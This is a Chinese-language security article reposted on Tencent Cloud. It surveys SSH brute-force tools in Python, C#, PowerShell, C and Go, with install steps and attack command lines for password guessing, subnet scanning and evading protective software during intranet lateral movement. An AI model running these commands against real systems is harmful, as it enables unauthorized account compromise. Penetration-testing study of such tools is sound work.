前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >如何针对 SSH 服务的暴力破解

如何针对 SSH 服务的暴力破解

作者头像
信安之路
发布2021-07-06 10:04:54
1.3K0
发布2021-07-06 10:04:54
举报
文章被收录于专栏:信安之路

关于 SSH 服务的暴力枚举,应用场景主要包括外围的边界突破以及内网的横向移动,所以可能需要在多种平台上使用这样的工具,本文主要介绍几款工具,包括 python 版、Go 语言版、C/C++ 版、C# 版等,根据自己的应用场景选择适合的版本即可。

Python 版

SSH-Brute-Forcer(python 2)

项目地址:

git clone https://github.com/d3vilbug/Brutal_SSH

使用之前需要安装一个库:

pip2 install -r requirements.txt

查看帮助信息:

python2 brutal_SSH.py

指定用户名和密码,针对单个 IP 的暴力破解:

python2 brutal_SSH.py -i 127.0.0.1 -p 22 -U /root/usernames.txt -P /root/passwords.txt

不支持批量目标检测,需要自己编写 bash 脚本来批量调用改项目。

C# 版

C# 主要适用于 Windows 平台,需要依赖系统上的 .Net Framework 框架。

RedLogin

https://github.com/ParsingTeam/RedLogin

编译环境 VS 2015 + .net 3.5,在首次打开项目进行编译时,报错,缺少 Renci 库,打开 NuGet,执行:

Install-Package SSH.NET -Version 2020.0.1

安装成功之后即可编译成功,首次运行,查看帮助信息:

指定目标列表文件,用户名文件和密码文件即可,例如:

Redlogin.exe target.txt username.txt password.txt

编译好的 relese 版本查看附件中的 RedLogin.V1.exe.zip,使用之前要确保系统上已经安装好了 .net 3.5,否则无法运行。

PowerShell 版

SSH-PuTTY-login-bruteforcer

验证 SSH 账户密码使用第三方工具 putty 或者 plink,在企业内部,这两款 SSH 连接工具是管理员最常用的,对于我们在企业内网进行 SSH 暴力破解时,如果有防护软件之类的,可以用这种方式来规避。

https://github.com/InfosecMatter/SSH-PuTTY-login-bruteforcer

使用之前首先要准备 putty.exe 或者 plink.exe,与该 PowerShell 脚本放在同一目录下:

使用方法如下:

PS C:\SSH-PuTTY-login-bruteforcer-master> import-module .\ssh-putty-brute.ps1 ssh-putty-brute [-h ip|ips.txt] [-p port] [-u user|users.txt] [-pw pass|pwdlist.txt]

实操案例:

这种方式虽然慢点,但是适合在做内网横线移动时使用。

类似的方式,除了 PowerShell 还可以写 bat 脚本来达到相同的效果。

C/C++ 版

cbrutekrag

项目地址:

https://github.com/matricali/cbrutekrag

安装方法:

首先安装 libssh 库,

rpm -vi http://mirror.centos.org/centos/8/AppStream/x86_64/os/Packages/libssh-devel-0.9.4-2.el8.x86_64.rpm

然后编译安装:

make && make install

安装完成之后,查看帮助信息:

./cbrutekrag -h

参数上针对多个目标进行暴力枚举,例如:

cbrutekrag -T target.txt -C combinations.txt -o result.log

该工具还支持扫描网段的模式,指定网段,然后扫描其 ssh 服务,然后暴力枚举:

cbrutekrag -s -t 8 -C combinations.txt -o result.log 192.168.0.0/24

Go 版

Go 语言的优势在于跨平台

sshgobrute

项目地址:

https://github.com/aldenso/sshgobrute

安装方式:

go get github.com/aldenso/sshgobrute

代码很简单,方便大家学习扩展,编写属于自己的小工具,查看帮助:

例如:

sshgobrute -file passwords.txt -ip 127.0.0.1 -port 22 -user root

扫描结果如下:

结果比较乱,但是速度还可以,作为参考,扩展一些其他能力还是比较容易的。

crssh

项目地址:

https://github.com/hlts2/crssh

安装方式:

go get github.com/hlts2/crssh

查看帮助信息:

crssh -h

该工具有两种暴力破解模式,一种是 -d 使用字典攻击,一种是 -b 自动生成指定位数的字典,然后进行暴力破解,比如:

1、使用字典攻击的模式:

crssh root@127.0.0.1 -p 22 -d

用到的字典在项目 godict 中:

https://github.com/hlts2/godict/blob/main/assets/filesystem.go

2、使用指定位数的密码攻击(-s 指定密码位数):

crssh root@127.0.0.1 -p 22 -b -s 2

3、-d-b 参数可以一起使用,比如:

crssh root@127.0.0.1 -p 22 -db -s 2

总结

对于外部公网 IP 开放 SSH 端口的服务,暴力破解的成功率比较低,因为有大量的自动化攻击工具日夜不断的扫描,存在弱口令的情况越来越少,通用密码字典成功的几率微乎其微,如果针对目标有深入的研究,生成有关系的密码字典,说不定有成功突破的机会,但是在企业内部网络,测试开发机非常多,开发测试运维人员,每日工作多次登录系统,或者认为测试机无关紧要,所以会将密码设置的比较简单,也是认为内网不会有人攻击,所有存在大量的弱口令,在内网横线移动的时候,枚举口令是个非常有效的方式。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-06-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Python 版
    • SSH-Brute-Forcer(python 2)
    • C# 版
      • RedLogin
      • PowerShell 版
        • SSH-PuTTY-login-bruteforcer
        • C/C++ 版
          • cbrutekrag
          • Go 版
            • sshgobrute
              • crssh
              • 总结
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档